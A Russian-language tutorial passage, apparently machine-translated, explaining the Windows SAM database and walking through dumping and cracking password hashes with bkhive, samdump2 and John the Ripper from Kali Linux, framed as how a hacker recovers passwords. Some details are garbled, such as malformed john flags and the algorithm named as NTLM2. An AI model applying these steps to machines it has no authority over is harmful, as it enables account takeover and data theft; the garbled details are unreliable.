После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

Что такое хэш паролей и база данных SAM?

SAM предназначен для диспетчера учетных записей безопасности.

База данных SAM является частью Windows.

Операционная система состоит из имени пользователя и пароля в зашифрованном формате, называемом хэшем пароля.

Файл SAM существует в C:/Windows/System32/config в Windows 7/8 / 8.1 / 10.

Если пользователь хочет войти в компьютер, имя пользователя и пароль должны совпадать для аутентификации, введенной пользователем.

Если пользователь набрал неправильное имя пользователя и пароль, аутентификация не удалась.

Алгоритм шифрования при этом NTLM2.

Основная цель SAM – сохранить компьютер и данные перед неавторизованным человеком, например, хакерами.

Но это не полностью работает против профессионального хакера.

Здесь я расскажу вам, как хакер сбрасывает эти  хэши паролей из базы данных и узнает пароль, взламывая эти хеши.

Шаг 1. Первый шаг: установите системный раздел Windows

Кликните на Places > Filesystem.

Когда вы щелкнете по файловой системе, раздел windows будет автоматически установлен в каталог /media.

Откройте терминал и введите следующую команду, чтобы достичь  местоположении, где была сохранена база данных SAM.

 # cd /media/Mounting Point value/Windows/System32/config 

В приведенном выше монтировании значение будет изменено в соответствии с системой, вы можете увидеть это значение, выполнив следующую команду:

 # ls /media 

Шаг 2: Сбросьте загрузочный ключ

 # bkhive SYSTEM /root/Desktop/system.txt 

System.txt – это файл, в котором хранится ключ загрузки и / root / Desktop – это место для сохранения файла system.txt.

Шаг 3: Дама хэшей паролей

Хэши паролей извлекаются с комбинацией bootkey и базы данных SAM, этот процесс завершается с помощью утилиты samdump2, найденной в kali linux по умолчанию.

Команда дает следующее:

 # samdump2 SAM /root/Desktop/system.txt > /root/Desktop/hashes.txt 

В реализованной команде база данных SAM и файл system.txt были объединены и создали новый файл hashes.txt

Чтобы увидеть хэши паролей, сдампенные в файл hashes.txt, используйте указанную команду

 # cat /root/Desktop/hashes.txt 

Измените каталог на /root/Desktop, используя следующую команду:

# cd /root/Desktop 

IШаг 4: John the Ripper средство взлома пароля

По достижении каталога для хэшей используйте выполните john с помощью данной команды

 # john -format = nt2 -users = vijay hashes.txt